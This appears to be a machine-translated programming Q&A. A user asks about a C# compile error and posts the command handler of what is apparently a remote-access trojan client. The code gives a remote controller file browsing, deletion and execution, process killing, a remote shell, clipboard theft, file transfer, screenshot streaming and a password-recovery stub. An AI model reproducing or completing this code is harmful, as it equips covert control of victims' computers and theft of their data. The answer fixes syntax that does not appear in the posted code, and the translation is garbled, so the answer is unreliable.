我在C#中遇到此命令的问题:
我在这一行有问题::::(this.InvokeRequired)他发给我这个问题" foem1"不包含Invoke的定义,也没有exitension方法' invoke'接受类型' form1'的第一个参数。找不到(你错过了使用指令或汇编参考) - Z-one Ideas 12分钟前
这是我的代码:
public void Befehleinterpretieren(string Befehl)
{
string[] Befehlsteil = Befehl.Split('°');
switch (Befehlsteil[0])
{
case "Information":
DriveInfo d_1 = new DriveInfo("C:\\");
this.Client.Textsenden("HD°" + d_1.TotalSize.ToString());
this.Client.Textsenden("OSVersion°" + Environment.OSVersion.ToString());
break;
case "Filemanager":
if (Befehlsteil[1] == "Inhalteauflisten")
{
string Path = Befehlsteil[2];
if (Directory.Exists(Path) == true)
{
try
{
string Inhalt = null;
foreach (string Ordner in (new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.GetDirectories(Path, Microsoft.VisualBasic.FileIO.SearchOption.SearchTopLevelOnly))
{
Inhalt += Ordner + "*+*";
}
Inhalt += "+++";
foreach (string Datei in (new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.GetFiles(Path, Microsoft.VisualBasic.FileIO.SearchOption.SearchTopLevelOnly))
{
Inhalt += Datei + "*+*";
}
this.Client.Textsenden("Filemanager°Inhalt°" + Path + "°" + Inhalt);
}
catch (Exception)
{
//Fehlermeldung zurücksenden
}
}
}
else if (Befehlsteil[1] == "Löschen")
{
string Pfad = Befehlsteil[2];
if (Directory.Exists(Pfad) == true)
{
(new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.DeleteDirectory(Pfad, Microsoft.VisualBasic.FileIO.DeleteDirectoryOption.DeleteAllContents);
}
else if (File.Exists(Pfad) == true)
{
(new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.DeleteFile(Pfad);
}
}
else if (Befehlsteil[1] == "Umbennen")
{
string Pfad = Befehlsteil[2];
if (Directory.Exists(Pfad) == true)
{
try
{
(new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.RenameDirectory(Pfad, Befehlsteil[3]);
}
catch (Exception)
{
}
}
else if (File.Exists(Pfad) == true)
{
try
{
(new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.RenameFile(Pfad, Befehlsteil[3]);
}
catch (Exception)
{
}
}
}
else if (Befehlsteil[1] == "Ordnererstellen")
{
(new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.CreateDirectory(Befehlsteil[2]);
}
else if (Befehlsteil[1] == "Starten")
{
if (File.Exists(Befehlsteil[2]))
{
Process.Start(Befehlsteil[2]);
}
}
break;
case "ProcessManager":
if (Befehlsteil[1] == "Refresh")
{
string Inhalt = null;
foreach (Process p in Process.GetProcesses())
{
Inhalt += p.ProcessName + "+++" + System.Convert.ToString(p.Id) + "*+*";
}
this.Client.Textsenden("ProzessListe°" + Inhalt);
}
else if (Befehlsteil[1] == "Kill")
{
try
{
Process.GetProcessById(int.Parse(Befehlsteil[2])).Kill();
}
catch (Exception)
{
}
}
break;
case "Shell":
if (Befehlsteil[1] == "Start")
{
Shell.Start();
}
else if (Befehlsteil[1] == "Stop")
{
Shell.Stoppen();
}
else if (Befehlsteil[1] == "Command")
{
Shell.CommandAusführen(Befehlsteil[2]);
}
break;
case "Clipboard":
if (Befehlsteil[1] == "GetText")
{
if (this.InvokeRequired == true)
{
c2 c1 = new c2(Clipboard_GetText);
this.Invoke(c1);
}
else
{
Clipboard_GetText();
}
}
else if (Befehlsteil[1] == "SetText")
{
if (this.InvokeRequired == true)
{
c1 c1 = new c1(Clipboard_SetText);
this.Invoke(c1, Befehlsteil[2]);
}
else
{
Clipboard_SetText(Befehlsteil[2]);
}
}
else if (Befehlsteil[1] == "Clear")
{
if (this.InvokeRequired == true)
{
c3 c3 = new c3(ClearClipboard);
this.Invoke(c3);
}
else
{
ClearClipboard();
}
}
break;
case "Uploadfile":
UploadFile U = new UploadFile();
U.Start(this.P_IP, this.P_Port, Befehlsteil[1]);
break;
case "Downloadfile":
DownloadFile D = new DownloadFile();
D.Start(this.P_IP, this.P_Port, Befehlsteil[1], Befehlsteil[2], Befehlsteil[3]);
break;
case "Screenshot":
if (Befehlsteil[1] == "Start")
{
UploadScreenshot.Start(this.P_IP, this.P_Port, int.Parse(Befehlsteil[2]));
}
else if (Befehlsteil[1] == "Stop")
{
UploadScreenshot.Stoppen();
}
break;
case "PasswordRecovery":
break;
case "CloseClient":
Application.Exit();
break;
}
}
delegate void c1(string sText);
delegate void c2();
delegate void c3();
private void Clipboard_GetText()
{
this.Client.Textsenden("Clipboard°" + Clipboard.GetText());
}
private void Clipboard_SetText(string sText)
{
if (sText != "")
{
Clipboard.SetText(sText);
}
}
private void ClearClipboard()
{
Clipboard.Clear();
}
public void Shell_TextToSend(string sText)
{
this.Client.Textsenden("ShellOutput°" + sText);
}
答案 0 :(得分:3)
Befehlsteil("0")
应为Befehlsteil[0]
,假设您需要数组的第一个元素。
同样,Befehlsteil(1)
应为Befehlsteil[1]
,Befehlsteil(2)
应为Befehlsteil[2]
。